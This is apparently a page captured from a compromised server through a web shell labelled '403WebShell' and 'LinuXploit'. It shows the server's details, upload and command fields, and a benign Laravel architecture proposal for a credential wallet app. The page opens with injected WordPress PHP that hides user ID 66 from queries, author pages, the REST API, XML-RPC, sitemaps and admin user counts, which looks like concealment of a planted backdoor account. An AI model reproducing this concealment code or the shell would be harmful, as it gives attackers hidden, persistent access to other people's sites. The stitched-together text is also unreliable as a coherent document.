add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/ARCHITECTURE_PROPOSAL.md
# Architecture Proposal: Core Wallet + Domain-Specific Services

## Conceptual Overview

The current `emajiwallet` mixes **core wallet functionality** (credential import, validation, sharing) with **domain-specific services** (pathways, job matching, training suggestions). This document proposes three architectural approaches to separate these concerns.

---

## Current Architecture Analysis

### Core Wallet Functions (Reusable)
- ✅ Credential import (JWT, JSON-LD, OpenBadges, ELM)
- ✅ Credential validation and parsing
- ✅ Recipient verification
- ✅ Credential storage and encryption
- ✅ Credential source tracking (vc_import, manual_upload, qr_scan, etc.)
- ⚙️ IPFS integration (optional, disabled by default for GDPR compliance)
- ✅ Identity management (DIDs, verified identifiers)
- ✅ Credential sharing with selective disclosure
- ✅ Backup/export functionality
- ✅ Credential display (grid, details)

### Domain-Specific Functions (emaji-specific)
- 🔷 Pathways (learning paths, progression)
- 🔷 Job matching based on qualifications
- 🔷 Training suggestions
- 🔷 Qualification mappings to courses
- 🔷 Organization relationships
- 🔷 Credential-to-qualification mapping
- 🔷 External assessment services (CompetencyShow integration)
- 🔷 Context-aware credential upload flow (pathway/job/profession requirements)

---

## Approach 1: Laravel Package Architecture (Recommended)

### Structure
Create a standalone **Laravel package** called `emaji/credential-wallet` that contains only core wallet functionality.

```
packages/
└── emaji/
    └── credential-wallet/
        ├── src/
        │   ├── Models/
        │   │   ├── UserCredential.php
        │   │   ├── Share.php
        │   │   ├── SharedCredential.php
        │   │   ├── UserIdentifier.php
        │   │   └── CredentialNotification.php
        │   ├── Controllers/
        │   │   ├── CredentialController.php
        │   │   ├── ShareController.php
        │   │   ├── BackupController.php
        │   │   └── IdentityVerificationController.php
        │   ├── Services/
        │   │   ├── VcParserService.php
        │   │   ├── CredentialEncryptionService.php
        │   │   ├── IpfsService.php
        │   │   ├── ElmCredentialParser.php
        │   │   └── PdfImportService.php
        │   ├── Events/
        │   │   ├── CredentialImported.php
        │   │   ├── CredentialShared.php
        │   │   └── IdentifierVerified.php
        │   ├── Providers/
        │   │   └── CredentialWalletServiceProvider.php
        │   ├── Facades/
        │   │   └── CredentialWallet.php
        │   ├── Traits/
        │   │   └── HasCredentials.php (for User model)
        │   └── routes/
        │       └── wallet.php
        ├── database/
        │   └── migrations/
        ├── resources/
        │   └── views/
        │       └── wallet/
        │           ├── credentials.blade.php
        │           ├── upload.blade.php
        │           ├── share.blade.php
        │           └── components/
        ├── config/
        │   └── credential-wallet.php
        ├── composer.json
        └── README.md
```

### Implementation

**1. Package composer.json:**
```json
{
    "name": "emaji/credential-wallet",
    "description": "Core credential wallet functionality for verifiable credentials",
    "type": "library",
    "require": {
        "php": "^8.2",
        "laravel/framework": "^11.0|^12.0",
        "intervention/image": "^3.0",
        "firebase/php-jwt": "^6.0"
    },
    "autoload": {
        "psr-4": {
            "Emaji\\CredentialWallet\\": "src/"
        }
    },
    "extra": {
        "laravel": {
            "providers": [
                "Emaji\\CredentialWallet\\Providers\\CredentialWalletServiceProvider"
            ]
        }
    }
}
```

**2. Service Provider:**
```php
namespace Emaji\CredentialWallet\Providers;

use Illuminate\Support\ServiceProvider;

class CredentialWalletServiceProvider extends ServiceProvider
{
    public function boot()
    {
        // Publish migrations
        $this->publishes([
            __DIR__.'/../../database/migrations' => database_path('migrations'),
        ], 'wallet-migrations');

        // Publish config
        $this->publishes([
            __DIR__.'/../../config/credential-wallet.php' => config_path('credential-wallet.php'),
        ], 'wallet-config');

        // Publish views
        $this->publishes([
            __DIR__.'/../../resources/views' => resource_path('views/vendor/wallet'),
        ], 'wallet-views');

        // Load routes
        $this->loadRoutesFrom(__DIR__.'/../routes/wallet.php');

        // Load views
        $this->loadViewsFrom(__DIR__.'/../../resources/views', 'wallet');

        // Register event listeners
        $this->registerEventListeners();
    }

    public function register()
    {
        // Merge config
        $this->mergeConfigFrom(
            __DIR__.'/../../config/credential-wallet.php', 'credential-wallet'
        );

        // Register services
        $this->app->singleton('credential-wallet', function ($app) {
            return new \Emaji\CredentialWallet\CredentialWallet($app);
        });
    }

    protected function registerEventListeners()
    {
        // Allow host app to listen to wallet events
    }
}
```

**3. User Trait:**
```php
namespace Emaji\CredentialWallet\Traits;

trait HasCredentials
{
    public function credentials()
    {
        return $this->hasMany(
            config('credential-wallet.models.credential')
        );
    }

    public function shares()
    {
        return $this->hasMany(
            config('credential-wallet.models.share')
        );
    }

    public function identifiers()
    {
        return $this->hasMany(
            config('credential-wallet.models.identifier')
        );
    }

    public function getVerifiedIdentifiers()
    {
        return $this->identifiers()->verified()->get();
    }
}
```

**4. Configuration (credential-wallet.php):**
```php
return [
    // Storage backend
    'storage' => [
        'disk' => env('WALLET_STORAGE_DISK', 'sftp'),
        'path' => env('WALLET_STORAGE_PATH', 'credentials'),
    ],

    // IPFS configuration (optional - disabled by default for GDPR compliance)
    // Note: IPFS immutability conflicts with GDPR Article 17 (right to erasure)
    // Keep infrastructure available for optional backup use, but don't auto-upload
    'ipfs' => [
        'enabled' => env('WALLET_IPFS_ENABLED', false),
        'auto_upload' => env('WALLET_IPFS_AUTO_UPLOAD', false), // Don't upload credentials automatically
        'host' => env('IPFS_HOST', '127.0.0.1'),
        'port' => env('IPFS_PORT', 5001),
        'gateway' => env('IPFS_GATEWAY', 'https://ipfs.io/ipfs/'),
    ],

    // Credential source tracking
    'source_tracking' => [
        'enabled' => true,
        'sources' => ['vc_import', 'manual_upload', 'qr_scan', 'api_import'],
    ],

    // Encryption
    'encryption' => [
        'algorithm' => 'AES-256-CBC',
    ],

    // Models (allow customization)
    'models' => [
        'credential' => \Emaji\CredentialWallet\Models\UserCredential::class,
        'share' => \Emaji\CredentialWallet\Models\Share::class,
        'identifier' => \Emaji\CredentialWallet\Models\UserIdentifier::class,
    ],

    // Events (allow host app to extend)
    'events' => [
        'credential_imported' => \Emaji\CredentialWallet\Events\CredentialImported::class,
        'credential_shared' => \Emaji\CredentialWallet\Events\CredentialShared::class,
    ],

    // Feature flags
    'features' => [
        'ipfs' => env('WALLET_FEATURE_IPFS', false),
        'encryption' => env('WALLET_FEATURE_ENCRYPTION', true),
        'pdf_import' => env('WALLET_FEATURE_PDF', true),
        'selective_disclosure' => env('WALLET_FEATURE_SELECTIVE_DISCLOSURE', true),
    ],

    // Hooks (allow host app to inject custom logic)
    'hooks' => [
        'before_import' => null,
        'after_import' => null,
        'before_share' => null,
    ],
];
```

**5. Events for Extension:**
```php
namespace Emaji\CredentialWallet\Events;

class CredentialImported
{
    public function __construct(
        public UserCredential $credential,
        public User $user
    ) {}
}

class CredentialShared
{
    public function __construct(
        public Share $share,
        public User $user
    ) {}
}

class IdentifierVerified
{
    public function __construct(
        public UserIdentifier $identifier,
        public User $user
    ) {}
}
```

### Usage in emajiwallet (Host Application)

**Install the package:**
```bash
composer require emaji/credential-wallet
php artisan vendor:publish --tag=wallet-migrations
php artisan vendor:publish --tag=wallet-config
php artisan migrate
```

**Add trait to User model:**
```php
namespace App\Models;

use Emaji\CredentialWallet\Traits\HasCredentials;

class User extends Authenticatable
{
    use HasCredentials;

    // Add emaji-specific relationships
    public function pathways()
    {
        return $this->hasMany(Pathway::class);
    }

    public function organizations()
    {
        return $this->belongsToMany(Organization::class);
    }
}
```

**Extend with domain-specific logic:**
```php
namespace App\Listeners;

use Emaji\CredentialWallet\Events\CredentialImported;
use App\Services\PathwayMatcher;
use App\Services\JobMatcher;

class CredentialImportedListener
{
    public function handle(CredentialImported $event)
    {
        // Map credential to qualifications (emaji-specific)
        $this->mapToQualification($event->credential);

        // Update pathways (emaji-specific)
        PathwayMatcher::updateUserPathways($event->user);

        // Match jobs (emaji-specific)
        JobMatcher::findMatchingJobs($event->user);

        // Suggest training (emaji-specific)
        TrainingSuggestionService::generateSuggestions($event->user);
    }

    protected function mapToQualification($credential)
    {
        $mapping = CredentialMapping::where([
            'credential_identifier' => $credential->credential_identifier,
            'issuer_identifier' => $credential->issuer_identifier,
        ])->first();

        if ($mapping) {
            $credential->update([
                'is_mapped' => true,
                'mapped_qualification_id' => $mapping->qualification_id,
            ]);
        }
    }
}
```

**Register listeners in EventServiceProvider:**
```php
protected $listen = [
    \Emaji\CredentialWallet\Events\CredentialImported::class => [
        \App\Listeners\CredentialImportedListener::class,
    ],
];
```

**Extend models if needed:**
```php
namespace App\Models;

use Emaji\CredentialWallet\Models\UserCredential as BaseCredential;

class UserCredential extends BaseCredential
{
    // Add emaji-specific relationships
    public function qualification()
    {
        return $this->hasOneThrough(
            Qualification::class,
            CredentialMapping::class,
            'credential_identifier',
            'id',
            'credential_identifier',
            'qualification_id'
        );
    }

    public function pathways()
    {
        return $this->belongsToMany(Pathway::class);
    }
}
```

### Benefits
✅ Clean separation of concerns
✅ Core wallet is reusable across projects
✅ Can be open-sourced separately
✅ Easy versioning and updates
✅ Host app can extend via events and model inheritance
✅ Standard Laravel package structure

### Drawbacks
⚠️ Initial refactoring effort
⚠️ Need to maintain package separately
⚠️ More complex deployment

---

## Approach 2: Module-Based Architecture (Simpler)

### Structure
Keep everything in one repository but organize into modules:

```
app/
├── Modules/
│   ├── Wallet/           # Core wallet (portable)
│   │   ├── Controllers/
│   │   ├── Models/
│   │   ├── Services/
│   │   ├── Events/
│   │   ├── routes/
│   │   └── views/
│   └── Emaji/            # Domain-specific
│       ├── Controllers/
│       │   ├── PathwayController.php
│       │   ├── JobController.php
│       │   └── TrainingController.php
│       ├── Models/
│       │   ├── Pathway.php
│       │   ├── Job.php
│       │   ├── Qualification.php
│       │   └── CredentialMapping.php
│       ├── Services/
│       │   ├── PathwayMatcher.php
│       │   ├── JobMatcher.php
│       │   └── TrainingSuggestions.php
│       └── routes/
└── Models/
    └── User.php          # Bridges both modules
```

**Module Service Provider:**
```php
namespace App\Modules\Wallet;

use Illuminate\Support\ServiceProvider;

class WalletServiceProvider extends ServiceProvider
{
    public function boot()
    {
        $this->loadRoutesFrom(__DIR__.'/routes/web.php');
        $this->loadViewsFrom(__DIR__.'/views', 'wallet');
        $this->loadMigrationsFrom(__DIR__.'/database/migrations');
    }
}
```

**Register in config/app.php:**
```php
'providers' => [
    // ...
    App\Modules\Wallet\WalletServiceProvider::class,
    App\Modules\Emaji\EmajiServiceProvider::class,
],
```

### Benefits
✅ Simple to implement
✅ Clear boundaries
✅ Easy to extract later
✅ Single repository

### Drawbacks
⚠️ Not as portable
⚠️ Can't version separately
⚠️ Harder to share between projects

---

## Approach 3: Microservices Architecture (Advanced)

### Structure
Separate the wallet into its own service:

```
credential-wallet-service/     # Standalone Laravel API
├── app/
│   ├── Http/
│   │   └── Controllers/
│   │       └── Api/
│   │           ├── CredentialController.php
│   │           ├── ShareController.php
│   │           └── IdentityController.php
│   ├── Models/
│   └── Services/
├── routes/
│   └── api.php
└── database/

emaji-platform/                # Main application
├── app/
│   ├── Services/
│   │   └── WalletApiClient.php
│   ├── Http/
│   │   └── Controllers/
│   │       ├── PathwayController.php
│   │       └── JobController.php
│   └── Models/
│       ├── Pathway.php
│       └── Job.php
```

**Wallet API Client:**
```php
namespace App\Services;

use Illuminate\Support\Facades\Http;

class WalletApiClient
{
    protected $baseUrl;

    public function __construct()
    {
        $this->baseUrl = config('services.wallet.url');
    }

    public function importCredential(User $user, $credentialData)
    {
        return Http::withToken($user->wallet_api_token)
            ->post("{$this->baseUrl}/api/credentials", $credentialData);
    }

    public function getUserCredentials(User $user)
    {
        return Http::withToken($user->wallet_api_token)
            ->get("{$this->baseUrl}/api/credentials");
    }

    public function shareCredentials(User $user, array $credentialIds)
    {
        return Http::withToken($user->wallet_api_token)
            ->post("{$this->baseUrl}/api/shares", [
                'credential_ids' => $credentialIds,
            ]);
    }
}
```

**Webhooks for events:**
```php
// In wallet service
event(new CredentialImported($credential));

// Sends webhook to emaji platform
POST https://emaji.example.com/webhooks/credential-imported
{
    "user_id": "...",
    "credential_id": "...",
    "credential_data": {...}
}
```

### Benefits
✅ Complete separation
✅ Independent scaling
✅ Can serve multiple applications
✅ Different tech stacks possible

### Drawbacks
⚠️ Complex infrastructure
⚠️ Network latency
⚠️ Distributed transactions
⚠️ More operational overhead

---

## Recommendation

### For Your Use Case: **Approach 1 (Laravel Package)**

**Why:**
1. You want to reuse the wallet in multiple projects (emaji + others)
2. Clean separation without microservices complexity
3. Standard Laravel pattern - familiar to developers
4. Can be open-sourced separately
5. Easy to maintain and version
6. Host apps can extend via events and hooks

### Migration Path

**Phase 1: Extract Core (Week 1-2)**
- Create package structure
- Move core models (UserCredential, Share, UserIdentifier)
- Move core services (VcParserService, EncryptionService, IpfsService)
- Move core controllers
- Move core views

**Phase 2: Events & Hooks (Week 2-3)**
- Create event system for extension points
- Define hooks for custom logic
- Document extension API

**Phase 3: Domain Layer (Week 3-4)**
- Keep domain models in host app (Pathway, Job, Qualification)
- Create listeners for wallet events
- Implement domain-specific logic as event handlers

**Phase 4: Testing & Documentation (Week 4-5)**
- Test package independently
- Create comprehensive docs
- Write usage examples

---

## Extension Points (Hooks)

The wallet package should provide these extension points:

```php
// Before importing credential
config('credential-wallet.hooks.before_import') // Validate, transform

// After importing credential
event(new CredentialImported($credential)) // Map to qualifications, update pathways

// Before sharing
config('credential-wallet.hooks.before_share') // Check permissions

// After sharing
event(new CredentialShared($share)) // Log, notify

// Custom validation
config('credential-wallet.validators.custom') // Add domain-specific rules

// Custom parsers
config('credential-wallet.parsers.custom') // Support custom credential formats

// Display customization
@section('wallet::credential-actions') // Add custom buttons
@section('wallet::credential-metadata') // Add custom fields
```

---

## Example: emaji Integration

**1. Install wallet package:**
```bash
composer require emaji/credential-wallet
```

**2. Listen to wallet events:**
```php
// app/Listeners/MapCredentialToQualification.php
class MapCredentialToQualification
{
    public function handle(CredentialImported $event)
    {
        $mapping = CredentialMapping::where([
            'credential_identifier' => $event->credential->credential_identifier,
            'issuer_identifier' => $event->credential->issuer_identifier,
        ])->first();

        if ($mapping) {
            $event->credential->update(['is_mapped' => true]);

            // Update user pathways
            PathwayService::updateProgress($event->user, $mapping->qualification);

            // Suggest next steps
            TrainingService::suggestCourses($event->user);

            // Match jobs
            JobService::findMatches($event->user);
        }
    }
}
```

**3. Extend views:**
```blade
{{-- resources/views/credentials/index.blade.php --}}
@extends('wallet::credentials.index')

@section('wallet::before-credentials')
    <div class="pathway-progress">
        <h3>Your Learning Pathway</h3>
        @include('emaji.pathway-widget')
    </div>
@endsection

@section('wallet::after-credentials')
    <div class="training-suggestions">
        <h3>Suggested Training</h3>
        @include('emaji.training-suggestions')
    </div>
@endsection

@section('wallet::credential-actions')
    <a href="{{ route('pathways.add-credential', $credential) }}" class="btn">
        Add to Pathway
    </a>
@endsection
```

**4. Add custom routes:**
```php
// Domain-specific routes in routes/web.php
Route::middleware(['auth'])->group(function () {
    // Wallet routes loaded automatically from package

    // emaji-specific routes
    Route::get('/pathways', [PathwayController::class, 'index']);
    Route::get('/jobs', [JobController::class, 'index']);
    Route::get('/training', [TrainingController::class, 'suggestions']);
});
```

---

## Summary

The **Laravel Package approach** gives you the best balance of:
- ✅ Reusability across projects
- ✅ Clean separation of core vs domain logic
- ✅ Extensibility via events and hooks
- ✅ Maintainability
- ✅ Standard Laravel patterns

The wallet becomes a **portable, extensible core** that can be dropped into any Laravel project and extended with domain-specific features through events, hooks, and view sections.

---

## Recent Implementation Notes

### IPFS Storage Decision (GDPR Compliance)

**Issue:** Automatic IPFS upload of credentials conflicts with GDPR Article 17 (right to erasure) and self-sovereign identity principles.

**Resolution:**
- IPFS infrastructure retained for optional backup use
- Automatic uploads on credential import **disabled by default**
- `vc_location` field repurposed to track credential source:
  - `source:vc_import` - Imported from VC/JSON file
  - `source:manual_upload` - Manual PDF/image upload
  - `source:qr_scan` - Imported via QR code scan
  - `ipfs://...` - Only if explicitly uploaded to IPFS (future backup feature)

**Rationale:** Users should control where their credentials are stored. IPFS immutability makes it impossible to fully delete data, which violates the principle that credential holders own their data.

### External Assessment Services (CompetencyShow)

**Use Case:** When an imported credential cannot be automatically recognized (issuer/credential type not in mapping database), users can be directed to external assessment services.

**Implementation:**
- Context-aware upload flow tracks which requirement triggered the upload (pathway/job/profession)
- Unrecognized credentials display a link to CompetencyShow with pre-filled context
- Different messaging based on whether:
  - Issuer is known but credential type isn't mapped
  - Issuer is completely unknown

**Extension Point:** Other applications using the wallet package can implement their own assessment service integrations via the `after_import` hook when `is_mapped` is false.

```php
// Example: Custom assessment service integration
config('credential-wallet.hooks.after_import', function($credential, $context) {
    if (!$credential->is_mapped) {
        // Redirect to custom assessment service
        // Or trigger notification to admin for manual review
    }
});
```

### DID Handling Improvements

**Issue:** Long DIDs (especially `did:jwk` format) can exceed 300+ characters, causing database column overflow.

**Resolution:**
- `user_credentials.recipient_identifier` changed to `TEXT` type
- `user_identifiers.identifier` changed to `VARCHAR(500)` with prefixed index
- DID:web path separator normalization (`:` vs `/` inconsistencies)

Youez - 2016 - github.com/yon3zu
LinuXploit